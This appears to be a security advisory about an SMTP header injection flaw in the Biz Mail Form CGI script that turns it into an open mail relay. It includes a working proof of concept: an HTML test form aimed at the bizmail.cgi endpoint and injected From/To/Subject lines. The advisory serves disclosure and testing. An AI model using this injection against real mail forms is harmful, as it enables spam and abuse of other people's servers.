source: http://www.securityfocus.com/bid/12620/info

Biz Mail Form is prone to a vulnerability that allows the application to be abused as a mail relay.

An attacker can exploit this issue to inject arbitrary SMTP headers by using CR and LF sequences.

If successful, it becomes possible to abuse the application as a mail relay. Email may be sent to arbitrary computers. This could be exploited by spammers or other malicious parties.

Update: It is reported that the update to address this issue (Biz Mail Form 2.2) is vulnerable to this issue as well. The affected version is being added as a vulnerable package and the fixes are being removed. 

<HTML>
<HEAD> <TITLE>Exploit Test Page</TITLE> </HEAD>
<BODY>
<form action="http://www.example.com/cgi-bin/bizmail/bizmail.cgi"
method="POST" name="Subscribe">
<TEXTAREA rows="5" name="email">&lt;/textarea&gt;
<INPUT TYPE="submit" VALUE="Submit" class="submit">
</FORM> </BODY> </HTML>

In the textbox that pops up, enter in the following (begin by hitting
enter to insert a blank line)

From:email@example.com
To:yourvalidemail@yourdomain.com
Subject:Exploit Test

This is a test

Click submit. You'll receive an email from the bizmail script, but
you won't receive the normal contact email. You can check the .dat
file and see a copy of what you sent.